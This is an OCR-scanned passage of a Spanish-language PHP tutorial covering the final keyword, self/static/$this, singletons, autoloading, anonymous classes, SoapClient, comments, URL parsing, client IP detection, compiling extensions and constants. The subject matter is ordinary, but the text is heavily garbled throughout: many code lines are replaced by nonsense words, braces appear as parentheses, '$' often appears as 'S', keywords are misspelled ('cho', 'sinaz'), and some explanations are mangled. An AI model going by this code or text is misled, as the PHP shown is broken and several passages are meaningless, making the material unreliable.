Palabra clave final 


Def: Final Keyword evita que las clases secundarias invaliden un método prefijando la definición 
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con final. Si la clase en sí se está definiendo como final, entonces no se puede extender 


Método final 


class BaseClass ( 
¡tulo lie Evans lion tsse (o) 
echo "BaseClass::test() calledin"; 


) 


final public function moreTesting() ( 
echo "BaseClass::moreTesting() calledin"; 


) 


class ChildClass extends BaseClass ( 
public function moreTesting() ( 
echo "ChildClass: :moreTesting() calledin"; 
) 
) 


// Results in Fatal error: Cannot override final method BaseClass::moreTesting() 


Clase final 


final class BaseClass ( 
¡Sul lie Erasclon tsse (o) A 
echo "BaseClass::test() calledin"; 


) 


Ll ies de cossale muele die you sjoscaliay as bacilo es deliacul el moje 
final public function moreTesting() ( 
echo "BaseClass::moreTesting() calledin"; 


) 


class ChildClass extends BaseClass ( 


) 


// Results in Fatal error: Class ChildClass may not inherit from final class (BaseClass) 


Constantes finales: a diferencia de Java, la palabra clave sinaz no se usa para las constantes de 
clase en PHP. Utilice la palabra clave const lugar. 


¿Por qué tengo que usar finaz ? 


. La prevención de la cadena de herencia masiva de la fatalidad 
. Composición estimulante 

. Forzar al desarrollador a pensar en la API pública del usuario 

. Forzar al desarrollador a reducir la API pública de un objeto 

. Una clase fina siempre se puede hacer extensible. 

. extends Foturas de encapsulación. 

. No necesitas esa flexibilidad. 

. Eres libre de cambiar el código 


0 YO 0d0aO0NnN— 


Cuándo evitar sina: : las clases finales solo funcionan de manera efectiva bajo los siguientes 
supuestos: 
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1. Hay una abstracción (interfaz) que implementa la clase final 
2. Toda la API pública de la clase final es parte de esa interfaz 


$ esto, auto y estático más el singleton 


Use sthis para referirse al objeto actual. Use se1s para referirse a la clase actual. En 
otras palabras, Use sthis->member Para sehis->member NO estáticOS, USO self: : $member 


para miembros estáticos. 


En el siguiente ejemplo, saytello() Y sayGoodbye () están Usando self y sthis diferencia se puede 


observar aquí. 


class Person ( 


private $name; 


public function __construct ($name) ( 


Sthis->name = $name; 


) 


public function getName () ( 
return $this->name; 


) 
public function getTitle() ( 
return $this->getName()." the person"; 


) 


public function sayHello() ( 


cea Misilo, Ta Y. Sal. > tale le). doo 


) 


public function sayGoodbye () ( 


celo WeEnoelays zona sele: este le (0). o 


) 


class Geek extends Person ( 
public function __construct (S$name) ( 
parent::__construct ($name); 


) 


public function getTitle() ( 
return $this->getName()." the geek"; 
) 
) 


Sgeek0bj = new Geek("Ludwig"); 
$geek0b3->sayHello (); 
$geek0b3->sayGoodbye () ; 


static refiere a cualquier clase en la jerarquía en la que llamaste al método. Permite una mejor 
reutilización de las propiedades de clase estáticas cuando las clases se heredan. 


Considere el siguiente código: 
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class Cave 4 
protected static $brand = 'unknown'; 


public static function brand() ( 
ECU SOS Sora, ao 


) 


class Mercedes extends Car ( 
protected static $brand = 'Mercedes'; 


class BMW extends Car ( 
protected static $brand = 'BMW'; 


cho (new Car)->brand(); 
cho (new BMW) ->brand(); 
cho (new Mercedes)->brand (); 


Esto no produce el resultado que desea: 


desconocido 
desconocido 
desconocido 


Esto se debe a que ses refiere a la clase car cuando se llama a la brana () método brana() . 


Para referirse a la clase correcta, necesita usar static lugar: 


class Car (1 
protected static $brand = 'unknown'; 


aulgllaie suertes Euacutilca loe) A 
ceca Susie: 3 Hlomemal., Uy Wo 


) 


class Mercedes extends Car ( 
protected static $brand = 'Mercedes'; 


class BMW extends Car ( 
protected static $brand = 'BMW'; 


cho (new Car)->brand(); 
cho (new BMW) -—>brand(); 
cho (new Mercedes)->brand (); 


Esto produce el resultado deseado: 


desconocido 
BMW 
Mercedes 
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Véase también Enlace estático tardío 


El singleton 


Si tiene un objeto que es costoso crear o representa una conexión a algún recurso externo que 
desea reutilizar, es decir, una conexión de base de datos donde no existe una agrupación de 
conexiones o un socket para algún otro sistema, puede usar las palabras clave static Y self en 
un clase para hacer un singleton. Hay opiniones fuertes acerca de si el patrón de singleton debe o 
no debe usarse, pero tiene sus usos. 


class Singleton ( 
private static S$instance = null; 


public static function getIinstance ()( 
if(!lisset (self::$instance))Í 
self::$instance = new self (); 


) 


return self: :Sinstance; 


) 


priveacs Elactloa — Comes (0) 
Il Do Comercios sicuice 


) 


Como puede ver en el código de ejemplo, estamos definiendo una sinstance privada de propiedad 
estática sinstance para contener la referencia del objeto. Como esto es estático, esta referencia se 
comparte entre TODOS los objetos de este tipo. 


El método getinstance () Utiliza un método conocido como creación de instancias perezosa para 
retrasar la creación del objeto hasta el último momento posible, ya que no desea tener objetos no 
utilizados en la memoria que nunca se pretendió usar. También ahorra tiempo y CPU en la carga 
de la página, no tiene que cargar más objetos de los necesarios. El método comprueba si el 
objeto está establecido, lo crea, si no, y lo devuelve. Esto asegura que solo un objeto de este tipo 
sea creado. 


También estamos configurando el constructor para que sea privado para garantizar que nadie lo 
cree con la new palabra clave desde el exterior. Si necesita heredar de esta clase, simplemente 
cambie las palabras clave private A protected . 


Para usar este objeto solo escribe lo siguiente: 


Ssingleton = Singleton: :getInstance/(); 


Ahora le imploro que use la inyección de dependencia donde pueda y apunte a objetos acoplados 
de forma flexible, pero a veces eso no es razonable y el patrón de singleton puede ser de utilidad. 


Autocarga 
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Nadie quiere require O include Cada vez que se usa una clase o herencia. Debido a que puede ser 
doloroso y es fácil de olvidar, PHP está ofreciendo el llamado autoloading. Si ya está utilizando 
Composer, lea acerca de la carga automática utilizando Composer . 


¿Qué es exactamente la carga automática? 


El nombre básicamente lo dice todo. No tiene que obtener el archivo donde se almacena la clase 
solicitada, pero PHP lo carga automáticamente . 


¿Cómo puedo hacer esto en PHP básico sin código de terceros? 


Existe la función —_autoloaa, pero se considera una mejor práctica USar sp1_autoload_ register. 
PHP considerará estas funciones cada vez que no se defina una clase dentro del espacio dado. 
Entonces, agregar la carga automática a un proyecto existente no es un problema, ya que las 
clases definidas (a través de require le) funcionarán como antes. En aras de la precisión, los 
siguientes ejemplos usarán funciones anónimas, si usa PHP <5.3, puede definir la función y pasar 
su nombre como argumento A spl_autoload_register . 


Ejemplos 


spl_autoload_register (function ($className) ( 
Spath = sprintf('%s.php', $className); 
if (file exists($path)) ( 
include $path; 
) else ( 
// file not found 
) 
»; 


El código anterior simplemente intenta incluir un nombre de archivo con el nombre de la clase y la 
extensión anexada ".php" usando sprint+ . Si rooBar necesita ser cargado, parece que rooBar. php 
existe y si es así lo incluye. 


Por supuesto, esto puede extenderse para adaptarse a las necesidades individuales del proyecto. 
Si _ dentro de un nombre de clase se usa para agrupar, por ejemplo, user_Post Y User_Image 
refieren a user , ambas clases se pueden mantener en una carpeta llamada "User" como: 


spl_autoload_register (function ($className) ( 
7 replace _ by / or Y (depending on OS) 
Spath = sprintf('Ss.php', str_replace('_', DIRECTORY_SEPARATOR, $className) ); 
e (falle sais (Soascia)) 
include $path; 


) else ( 
Ii aid more ojiael 
) 
»; 


La clase user_Post ahora se cargará desde "User / Post.php", etc. 


sp1_autoload_register puede adaptarse a diversas necesidades. Todos sus archivos con clases se 
llaman "class. CLASSNAME. php"? No hay problema. Varios anidamientos ( user_Post_Content => 
"User / Post / Content.php"”)? No hay problema tampoco. 
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Si desea un mecanismo de carga automática más elaborado, y aún no desea incluir Composer, 
puede trabajar sin agregar bibliotecas de terceros. 


spl_autoload_register (function ($className) ( 
Spath = sprintf('51$s%25s%35$s.php', 
// “l$s: get absolute path 
realpath (dirname (_FILE_ )), 
Il 288 Y or NX (csoenacilas ola (08), 
DIRECTORY_SEPARATOR, 
// %3$s: don't wory about caps or not when creating the files 


strtolower ( 
// replace _ by / or X (depending on OS) 
str_replace('_', DIRECTORY_SEPARATOR, $className) 


); 


if (file exists(S$path)) ( 
include $path; 
) else ( 


throw new Exception ( 
sprintf ('Class with name $1%$s not found. Looked in %2$s.', 
SclassName, 
Spath 


Usando autocargadores como este, felizmente puede escribir código como este: 


require_once './autoload.php'; // where spl_autoload_register is defined 


Sfoo = new Foo_Bar (new Hello_World()); 


Utilizando clases: 


class Foo_Bar extends Foo () 

class Hello_World implements Demo_Classes ([) 
Estos ejemplos incluirán clases de foo/bar.php , foo.php , hello/world.php Y demo/classes.php . 
Clases anonimas 
Se introdujeron clases anónimas en PHP 7 para permitir la creación fácil de objetos únicos y 


rápidos. Pueden tomar argumentos de constructor, extender otras clases, implementar interfaces 
y Usar rasgos al igual que las clases normales. 


En su forma más básica, una clase anónima se parece a lo siguiente: 


new class("constructor argument") ( 
public function _ _construct ($param) ( 
var_dump ($param) ; 
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) 


 // string(20) "constructor argument" 


Anidar una clase anónima dentro de otra clase no le da acceso a métodos o propiedades privadas 
o protegidas de esa clase externa. El acceso a los métodos protegidos y las propiedades de la 
clase externa se puede obtener extendiendo la clase externa de la clase anónima. El acceso a las 


propiedades privadas de la clase externa se puede obtener pasándolas al constructor de la clase 
anónima. 


Por ejemplo: 


class Outer ( 
private S$prop = 1; 
protected S$prop2 = 2; 
protected function funcl() ( 
return 3; 


) 


Pauli Fuacelon fume2 (0) 
// passing through the private $this->prop property 
return new class ($this->prop) extends Outer ( 
private $prop3; 


publile function -¿construet (Sprop) 1 
Sthis->prop3 = $prop; 
) 


puslias Euicrcion fumes) 
// accessing the protected property Outer: : $prop2 
// accessing the protected method Outer: :funcl () 
// accessing the local property self: :$prop3 that was private from 


Outer: :$prop 
secura Sumls— Eg + Suals=>Ewagil (0) + Sclais=>Joz0o93) 


cho (new Outer)->func2 ()->func3(); // 6 


Definiendo una clase básica 


Un objeto en PHP contiene variables y funciones. Los objetos normalmente pertenecen a una 
clase, que define las variables y funciones que contendrán todos los objetos de esta clase. 


La sintaxis para definir una clase es: 


class Shape ( 
public $sides = 0; 


¡mios Funerloa desconoció) 


return "A shape with $this->sides sides."; 


) 
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Una vez que se define una clase, puede crear una instancia usando: 


$SmyShape = new Shape/(); 


A las variables y funciones en el objeto se accede de esta manera: 


SmyShape = new Shape/(); 
SmyShape->sides = 6; 


print $myShape->description(); // "A shape with 6 sides" 


Constructor 


Las clases pueden definir un _ construect () especial _ construct () , que se ejecuta como parte de 
la creación del objeto. Esto se usa a menudo para especificar los valores iniciales de un objeto: 


class Shape ( 
public $sides = 0; 


public function __construct ($sides) ( 
Sthis->sides = $sides; 


) 
public function description() ( 
return "A shape with $this->sides sides."; 
) 
) 


$myShape = new Shape(6); 


print $myShape->description(); // A shape with 6 sides 


Extendiendo otra clase 


Las definiciones de clase pueden extender las definiciones de clase existentes, agregar nuevas 
variables y funciones, así como modificar aquellas definidas en la clase principal. 


Aquí hay una clase que amplía el ejemplo anterior: 


class Square extends Shape ( 
public $sidelength = 0; 


public function __construct ($sidelength) ( 
parent::__construct (4); 


Sthis->sideLlength = $sidelength; 


public function perimeter () ( 
return $this->sides * $this->sidelength; 


) 
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public function area() ( 
return $this->sidelength * $this->sidelength; 
) 


La clase square contiene variables y comportamiento tanto para la clase shape como para la clase 
Square : 


$mySquare = new Square (10); 
print $mySquare->description()/ // A shape with 4 sides 
print S$SmySquare->perimeter() // 40 


print $mySquare->area() // 100 


Lea Clases y objetos en línea: https://riptutorial.com/es/php/topic/504/clases-y-objetos 
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Capítulo 18: Cliente de jabón 


Sintaxis 


+ — getFunctions () // Devuelve la matriz de funciones para el servicio (solo en modo WSDL) 

+ — getlypes () // Devuelve una matriz de tipos para el servicio (solo en modo WSDL) 

+ — geiLastRequest () // Devuelve XML de la última solicitud (requiere la opción de trace ) 

+ — geitLastRequestHeaders () // Devuelve los encabezados de la última solicitud (requiere la 
opción de trace ) 

+ — geitLastResponse () // Devuelve XML de la última respuesta (requiere la opción de trace ) 

_ getLastResponseHeaders () // Devuelve los encabezados de la última respuesta (requiere 

la opción de trace ) 


Parámetros 


Parámetro | Detalles 


$ wsdl URI de WSDL o xuzz si se utiliza el modo no WSDL 


Array de opciones para SoapClient. El modo no WSDL requiere location Y uri 
$ opciones para establecer, todas las demás opciones son opcionales. Consulte la tabla a 
continuación para ver los posibles valores. 


Observaciones 


La clase soapc1ient está equipada con un método _ ca11 . Esto no debe ser llamado directamente. 
En su lugar, esto le permite hacer: 


Sony. > Tauste marco (at, Uat, "e I)7 


Esto llamará al método de requestinfo SOAP. 


Tabla de posibles valores de soptions ( Array de pares clave / valor ): 


URL del servidor SOAP. Requerido en modo no WSDL. Se puede 


ubicación e 
utilizar en modo WSDL para anular la URL. 
Espacio de nombres de destino del servicio SOAP. Requerido en modo 
uri 
no WSDL. 
estilo Los valores posibles son soap_r»c O soap_pocumeNT . Sólo válido en modo 
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utilizar 


soap_version 


autenticación 


iniciar sesión 
contraseña 
proxy_host 
Puerto proxy 
proxy_login 
proxy _password 
local_cert 


frase de 
contraseña 


compresión 


codificación 


rastro 


mapa de clase 


excepciones 


el tiempo de 
conexión expiro 
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no WSDL. 


Los valores posibles son soap_excopeD O soAP_LITERAL . Sólo válido en 
modo no WSDL. 


Los valores posibles son soar_1_1 ( predeterminado ) O soar_1_2. 


Habilitar la autenticación HTTP. Los valores posibles son 
SOAP_AUTHENTICATION_BAS1C ( predeterminado ) o 


SOAP_AUTHENTICATION_DIGEST. 


Nombre de usuario para autenticación HTTP 
Contraseña para la autenticación HTTP 
URL del servidor proxy 

Puerto de servidor proxy 

Nombre de usuario para proxy 

Contraseña para proxy 


Ruta al certificado de cliente HTTPS (para autenticación) 


Frase de contraseña para el certificado de cliente HTTPS 


Comprimir la solicitud / respuesta. El valor es una máscara de bits de 
SOAP_COMPRESSION_ACCEPT CON SOAP_COMPRESSION_GZIP O 


SOAP_COMPRESSION_DEFLATE . Por ejemplo: soap_comMPRESSION_ACCEPT M| 


SOAP_ COMPRESSION_GZIP . 
Codificación interna de caracteres (TODO: valores posibles) 


Booleano , por defecto es razsz . Habilita el seguimiento de las 
solicitudes para que las fallas se puedan retroceder. Habilita el uso de 


__ getlLastRequest() ,_ getlLastRequestHeaders() ,_ getlastResponsel() y 


__ getlLastResponseHeaders() . 


Mapear los tipos WSDL a las clases de PHP. El valor debe ser una 
matriz con tipos WSDL como claves y nombres de clase de PHP como 
valores. 


Valor booleano . En caso de excepciones de errores SOAP (de tipo 
“SoapFault). 


Tiempo de espera (en segundos) para la conexión al servicio SOAP. 
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Matriz de asignaciones de tipo. La matriz debe ser pares clave / valor 
con las siguientes claves: type_name , type_ns (URI del espacio de 


mapa de tipo 


cache_wsdl 


agente de usuario 


stream_context 


caracteristicas 


mantener viva 


ssl_method 


nombres), £rom_xm1 (devolución de llamada que acepta un parámetro de 


cadena) y to_xm1 (devolución de llamada que acepta un parámetro de 


objeto). 


Cómo (si lo hace) el archivo WSDL debe ser almacenado en caché. Los 


valores posibles son msbL_cacHe_NONE 


, WSDL_CACHI 


E_DISK, 


WSDL_CACHE_MEMORY O WSDL_CACHE_BOTH 


Cadena para usar en el encabezado user-agent . 


Un recurso para un contexto. 


Máscara de bits de soap_sINGLE_ELEMENT_ARRAYS , 


y SOAP_WAIT_ONE_WAY_CALLS . 


SOAPTUSH XST ARRAY TYPE 


( Versión de PHP> = 5.4 solamente ) Valor booleano . Envíe el 
( TRUE ) O Connection: Close header ( 


encabezado connection: Keep-Alive 


FALSE ). 


( Versión de PHP> = 5.5 solamente ) Qué versión de SSL / TLS usar. 


Los valores posibles son soap_ss1L_M 


ETHOD_TLS , S 


SOAP_SSL_ METHOD_SSIv3 O SOAP_SSL_METHOD_SSLv23 . 


OAP_SSL_METHOD_SSLv2 , 


Problema con PHP de 32 bits : en PHP de 32 bits, las cadenas numéricas mayores 
de 32 bits que se convierten automáticamente en enteros por xs: 1ong resultarán en 
que alcance el límite de 32 bits, 2147483647 en 2147483647 . Para _ soapca11() esto, 
lance las cadenas para que floten antes de pasarlo a _ soapca11() . 


Examples 


Modo WSDL 


Primero, cree un nuevo objeto soapciient , pasando la URL al archivo WSDL y, opcionalmente, 


una variedad de opciones. 


// Create a new client object using a WSDL URL 


$soap = new SoapClient ('https://example.com/soap.wsdl', 


+ This array and its values are optional 


'soap_version' => SOAP_1_2, 

'"compression' => SOAP_COMPRESSION_ACCEPT | SOAP_COMP 
"cache_wsdl' => WSDL_CACHE_BOTH, 

$ Helps with debugging 

'"trace' => TRUE, 


"exceptions' => TRUE 
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[ 


R 


ESSION_GZIP, 
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Luego usa el objeto $soap para llamar a tus métodos SOAP. 


Sresult = $soap->requestData(['a', 'b', 'c'1); 


Modo no WSDL 


Esto es similar al modo WSDL, excepto que pasamos uz, como el archivo WSDL y nos 
aseguramos de establecer la location y las opciones de uri . 


$soap = new SoapClient (NULL, [ 
'location' => 'https://example.com/soap/endpoint', 
'uri' => 'namespace' 


0; 


Mapas de clase 


Al crear un cliente SOAP en PHP, también puede establecer una clave de ciassmap en la matriz de 
configuración. Este classmap define qué tipos definidos en el WSDL deben asignarse a clases 
reales, en lugar del stáciass predeterminado. La razón por la que querría hacer esto es porque 
puede completar automáticamente los campos y las llamadas a métodos en estas clases, en 
lugar de tener que adivinar qué campos se configuran en la staciass regular. 


class MyAddress ( 
public $country; 
saulglaie Seluyp 
public $full_name; 
¡alg Sos el coles // oe aaa tolorls 
public $house_number; 


class MyBook ( 
public $name; 
pubilEleRSaubnon, 


// The classmap also allows us to add useful functions to the objects 
// that are returned from the SOAP operations. 
public function getShortDescription() ( 
return "($this->name), written by ($this->author)"; 
) 
) 


$soap_client = new SoapClient ($link_to_wsdl, [ 
// Other parameters 
"classmap" => [ 
"Address" => MyAddress::class, // ::class simple returns class as string 
"Book" => MyBook::class, 


D; 
Después de configurar el mapa de clase, siempre que realice una determinada operación que 


devuelva un tipo de address O Boox , SoapClient creará una instancia de esa clase, llenará los 
campos con los datos y los devolverá desde la llamada de la operación. 
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// Lets assume 


'"getAddress (1234) ' 


returns an Address by ID in the database 


Saddress = $soap_client->getAddress (1234); 


// Sfaddress is now of type MyAddress due to the classmap 


echo Saddres 


// Lets assume the 
Sbook = $soap _clien 


// We can not use oO 
echo $book->getShor 


s=>country; 


same for 
t->getBook (124); 


EbeEsScrclacio (0) 9 


'"getBook (1234)' 


ther functions defined on the MyBook class 


// Any type defined in the WSDL that is not defined in the classmap 
// will become a regular StdClass object 
Sauthor = $soap_client->getAuthor (1234); 


// No classmap for Author type, 


// We can still access fields, 
// to define for the objects. 
echo S$author->name; 


Sauthor is regular StdClass. 


but no auto-completion and no custom functions 


Rastreo de solicitud y respuesta SOAP 


A veces queremos ver lo que se envía y recibe en la solicitud de SOAP. Los siguientes métodos 
devolverán el XML en la solicitud y respuesta: 


SoapClient: 
SoapClient: 
SoapClient: 
SoapClient: 


Por ejemplo, 


constante se establece en bzveLopmk 


:_ getLastRequest () 


:__ getlLastResponsel() 


:__ getLastRequestHeaders() 


:__ getLastResponseHeade:rs () 


supongamos que tenemos una constante de exvirowmewT y cuando el valor de esta 


NT 


, queremos repetir toda la información cuando la llamada a 


getAddress UN error. Una solución podría ser: 


try ( 
Saddress 

cate (ena 
if (ENVI 


var_dump ( 


= $soap_client->getAddress (1234); 
pFault $e) ( 

RONMENT === 'DEVELOPMENT') ( 
$soap_client->__getLastRequestHeaders() 
$soap_client->__getLastRequest (), 
$soap_client->__getLastResponseHeaders(), 
$soap_client->__getLastResponsel() 


Lea Cliente de jabón en línea: https://riptutorial.com/es/php/topic/633/cliente-de-j¡abon 
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Capítulo 19: Comentarios 


Observaciones 


Tenga en cuenta los siguientes consejos cuando decida cómo comentar su código: 


+ Siempre debe escribir su código como si los comentarios no existieran, utilizando nombres 
de funciones y variables bien elegidos. 

* Los comentarios están destinados a comunicarse con otros seres humanos, no para repetir 
lo que está escrito en el código. 

+ Existen varias guías de estilo de comentarios php (por ejemplo, pear , zend , etc). ¡Averigua 
cuál usa tu compañía y úsala de manera consistente! 


Examples 


Comentarios de una sola línea 


El comentario de una sola línea comienza con "//" o "?F". Cuando se encuentre, todo el texto de la 
derecha será ignorado por el intérprete de PHP. 


// This is a comment 
$ This is also a comment 


echo "Hello World!"; // This is also a comment, beginning where we see "//" 


Comentarios multilinea 


El comentario multilínea se puede usar para comentar grandes bloques de código. Comienza con 
/* y termina con +/ . 


/* This is a multi-line comment. 
It spans multiple lines. 


This is still part of the comment. 


5 


Lea Comentarios en línea: https://riptutorial.com/es/php/topic/6852/comentarios 
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Capítulo 20: Cómo desglosar una URL 


Introducción 


A medida que codifiques PHP, lo más probable es que te pongas en una posición en la que 
necesites dividir una URL en varias partes. Obviamente, hay más de una forma de hacerlo 
dependiendo de sus necesidades. Este artículo explicará esas formas para que usted pueda 
encontrar lo que funciona mejor para usted. 


Examples 


Usando parse_url () 


parse_url (): esta función analiza una URL y devuelve una matriz asociativa que 
contiene cualquiera de los diversos componentes de la URL que están presentes. 


Surl = parse_url ('http://example.com/project/controller/action/paraml/param2'); 


AFLAY 
( 
[scheme] => http 
[host] => example.com 
[path] => /project/controller/action/paraml/param2 


Si necesitas separar el camino puedes usar Explode 


Surl = parse_url ('http://example.com/project/controller/action/paraml/param2'); 
Sul scerions' | = sxpilode (1/0, Suzl asia) 4 


Array 
( 
[scheme] => http 
[host] => example.com 
[path] => /project/controller/action/paraml/param2 
[sections] => Array 


( 

=> project 

=> controller 
=> action 


=> paraml 
=> param2 


Si necesita la última parte de la sección, puede usar end () de la siguiente manera: 


Slase = enc (Sul |“eceriaas 1) 
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Si la URL contiene GET vars, también puede recuperarlos. 


Surl = parse_url ('http://example.com?varl=valuels8$var2=value2'); 


Array 

( 
[scheme] => http 
[host] => example.com 


[query] => varl=valuelévar2=value2 


Si desea desglosar las variables de consulta, puede usar parse_str () de la siguiente manera: 


Surl = parse_url ('http://example.com?varl=valuel8$var2=value2'); 


parse str (Surl[ "query", parts); 
Array 
( 

[var1] => valuel 

[var2] => value2 


Utilizando explotar () 


explode (): devuelve una matriz de cadenas, cada una de las cuales es una 
subcadena de cadena formada dividiéndola en los límites formados por el delimitador 
de cadena. 


Esta función es bastante sencilla. 


$Surl = "http://example.com/project/controller/action/paraml/param2"; 
Soares = esplods (1/1, Sul), 


Array 


( 
=> Inicitjoa 


=> example.com 
project 

=> controller 
=> action 

=> paraml 


ey O IS LS LS O 
Il 
v 


=> param2 


Puedes recuperar la última parte de la URL haciendo esto: 


Slast = end($parts); 
// Output: param2 


También puede navegar dentro de la matriz utilizando sizeof () en combinación con un operador 
matemático como este: 
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echo Sparts[sizeof ($parts)-2]; 
// Output: paraml 


Usando basename () 


basename (): dada una cadena que contiene la ruta a un archivo o directorio, esta 
función devolverá el componente de nombre final. 


Esta función devolverá solo la última parte de una URL 


$Surl = "http://example.com/project/controller/action/paraml/param2"; 
Sparts = basename ($url); 
// Output: param2 


Si su URL tiene más cosas y lo que necesita es el nombre de directorio que contiene el archivo, 
puede usarlo con dirname () de la siguiente manera: 


Surl = "http://example.com/project/controller/action/paraml/param2/index.php"; 
Sparts = basename (dirname (Surl)); 
// Output: param2 


Lea Cómo desglosar una URL en línea: https://riptutorial.com/es/php/topic/10847/como-desglosar- 
una-url 
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Capítulo 21: Cómo detectar la dirección IP del 
cliente 


Examples 


Uso correcto de HTTP_X_FORWARDED_FOR 


A la luz de las últimas vulnerabilidades de htipoxy , hay otra variable, que es ampliamente mal 
utilizada. 


HTTP_X_FORWARDED_FOR Se Usa a menudo para detectar la dirección IP del cliente, pero sin ninguna 
verificación adicional, esto puede llevar a problemas de seguridad, especialmente cuando esta IP 
se usa más adelante para la autenticación o en consultas SQL sin saneamiento. 


La mayoría de los ejemplos de código disponibles ignoran el hecho de que arrp_x_FORWARDED_FOR 
puede considerarse realmente como información proporcionada por el propio cliente y, por lo 
tanto, no es una fuente confiable para detectar la dirección IP de los clientes. Algunas de las 
muestras agregan una advertencia sobre el posible uso indebido, pero aún no tienen ninguna 
verificación adicional en el propio código. 


Así que aquí hay un ejemplo de la función escrita en PHP, cómo detectar la dirección IP de un 
cliente, si sabe que ese cliente puede estar detrás de un proxy y sabe que se puede confiar en 
este proxy. Si no conoces ningún proxy de confianza, puedes usar remoTE_ADDR 


function get_client_ip() 


( 
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// Nothing to do without any reliable information 
1f (!isset(S$_SERVER['REMOTE_ADDR'])) ( 
return NULL; 


) 


// Header that is used by the trusted proxy to refer to 
// the original IP 
Sproxy_header = "HTTP_X_FORWARDED_FOR"; 


// List of all the proxies that are known to handle 'proxy_header' 
// in known, safe manner 
Sezusecel jorosiles = arre (VEOOIl elos 10, YI. 168,320.10) 


1f (in_array($_SERVER['REMOTE_ADDR'], $trusted_proxies)) ( 


// Get IP of the client behind trusted proxy 
if (array_key_exists(Sproxy_header, S$_SERVER)) ( 


// Header can contain multiple IP-s of proxies that are passed through. 
// Only the IP added by the last proxy (last IP in the list) can be trusted. 
Sclient_ip = trim(end(explode(",", $_SERVER[$proxy_header]))); 


// Validate just in case 
de (Gallica var (Solido, PAIS ADS, 112) A 
sermón Selina op 
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) else ( 
// Validation failed - beat the guy who configured the proxy or 


// the guy who created the trusted proxy list? 
// TODO: some error handling to notify about the need of punishment 


) 


// In all other cases, REMOTE_ADDR is the ONLY IP we can trust. 
return $_SERVER['REMOTE_ADDR']; 


print get_client_ip(); 


Lea Cómo detectar la dirección IP del cliente en línea: 
https://riptutorial.com/es/php/topic/5058/como-detectar-la-direccion-ip-del-cliente 
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Capítulo 22: Compilar extensiones de PHP 


Examples 


Compilando en linux 


Para compilar una extensión de PHP en un entorno Linux típico, hay algunos requisitos previos: 


* Habilidades básicas de Unix (poder operar "make" y un compilador de C) 
+ Un compilador ANSI C 
+ El código fuente de la extensión PHP que desea compilar. 


Generalmente hay dos formas de compilar una extensión de PHP. Puede compilar estáticamente 
la extensión en el binario de PHP, o compilarla como un módulo compartido cargado por su 
binario de PHP en el inicio. Los módulos compartidos son más probables ya que le permiten 
agregar o eliminar extensiones sin reconstruir todo el binario de PHP. Este ejemplo se centra en 
la opción compartida. 


Si instaló PHP a través de su administrador de paquetes ( apt-get install, yum install , etc.) 
necesitará instalar el paquete -¿ev para PHP, que incluirá los archivos de encabezado PHP y el 
script phpize necesarios para que funcione el entorno de compilación . El paquete podría llamarse 
algo así Como php5-dev O php7-dev , pero asegúrese de usar su administrador de paquetes para 
buscar el nombre apropiado usando los repositorios de su distro. Pueden diferir. 


Si compiló PHP desde la fuente, lo más probable es que los archivos de encabezado ya existan 
en su sistema ( generalmente en /usr/include O /usr/local/include ). 


Pasos para compilar 


Después de verificar para asegurarse de que tiene todos los requisitos previos necesarios para 
compilar, puede dirigirse a pec!.php.net , seleccionar una extensión que desee compilar y 
descargar la bola de alquitrán. 


1. Desembale la bola de alquitrán (por ejemplo, tar xfvz yaml-2.0.0RC8.tgz ) 

2. Ingrese el directorio donde se desempaquetó el archivo y ejecute pnpize 

3. Ahora debería ver una .configure COMANdoOsS .configure recién creada si todo salió bien, 
ejecute ese . /configure 

4. Ahora necesitarás ejecutar maxe , que compilará la extensión. 

5. Finalmente, make insta11 Copiará el archivo binario de extensión compilado a su directorio de 
extensión. 


El make insta11 paso normalmente proporcionará la ruta de instalación para usted que se ha 
copiado la extensión. Esto suele estaren /usr/1i/ , por ejemplo, podría ser algo como 
/usr/lib/php5/20131226/yaml1.so . Pero esto depende de su configuración de PHP (es decir, --—with- 
prefix ) y la versión específica de la API. El número de API se incluye en la ruta para mantener 
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las extensiones creadas para diferentes versiones de API en ubicaciones separadas. 


Cargando la extensión en PHP 


Para cargar la extensión en PHP, encuentre su archivo php.ini cargado para el SAPI apropiado, y 
agregue la extension=yaml.so línea extension=yaml.so luego reinicie PHP. Cambie yaml.so al 
nombre de la extensión real que instaló, por supuesto. 


Para una extensión Zend, debe proporcionar la ruta completa al archivo de objeto compartido. Sin 
embargo, para las extensiones PHP normales, esta ruta se deriva de la directiva extension dir en 
su configuración cargada, o del entorno seark durante la configuración inicial. 


Lea Compilar extensiones de PHP en línea: https://riptutorial.com/es/php/topic/6767/compilar- 
extensiones-de-php 
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Capítulo 23: Constantes 


Sintaxis 


* define (cadena $ nombre, valor mezclado de $ [, bool $ case_insensitive = false]) 
* const CONSTANT_NAME = VALUE; 


Observaciones 


Las constantes se utilizan para almacenar los valores que no se deben cambiar más adelante. 
También se utilizan a menudo para almacenar los parámetros de configuración, especialmente 
aquellos que definen el entorno (desarrollo / producción). 


Las constantes tienen tipos como variables pero no todos los tipos se pueden usar para inicializar 
una constante. Los objetos y los recursos no se pueden utilizar como valores para constantes en 
absoluto. Las matrices se pueden usar como constantes a partir de PHP 5.6 


Algunos nombres constantes están reservados por PHP. Estos incluyen true , false , null así 
como muchas constantes específicas del módulo. 


Las constantes son usualmente nombradas usando letras mayúsculas. 


Examples 


Comprobando si se define constante 


Simple cheque 


Para verificar si la constante está definida use la función definea . Tenga en cuenta que a esta 
función no le importa el valor de la constante, solo le importa si la constante existe o no. Incluso si 
el valor de la constante €S nul1 O false la función seguirá siendo true . 

<?php 

define("GO0D", false); 


if (defined("GO00D")) f 


print "GOOD is defined" ; // prints "GOOD is defined" 
if (G00D) ( 
print "GOOD is true" ; // does not print anything, since GOOD is false 


) 


if (!defined("AWESOME")) ( 
define("AWESOME", true); // awesome was not defined. Now we have defined it 
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Tenga en cuenta que la constante se vuelve "visible" en su código solo después de la línea 
donde lo ha definido: 


<?php 
1f (defined("G00D")) ( 

print "GOOD is defined"; // doesn't print anyhting, GOOD is not defined yet. 
define("GO0D", false); 


if (defined("GO00D")) ( 
print "GOOD is defined"; // prints "GOOD is defined" 


Obteniendo todas las constantes definidas 


Para obtener todas las constantes definidas, incluidas las creadas por PHP, use la función 


get_defined_constants : 


<?php 


Sconstants = get_defined_constants (); 
var_dump ($constants); // pretty large list 


Para obtener solo las constantes que definió su aplicación, llame a la función al principio y al final 
de su script (normalmente después del proceso de arranque): 


<?php 


Sconstants = get_defined_constants (); 


define("HELLO", "hello"); 

define ("WORLD", "world"); 

$new_constants = get_defined_constants(); 

Smyconstants = array_diff assoc($new_constants, S$constants); 
var_export ($myconstants); 


/* 
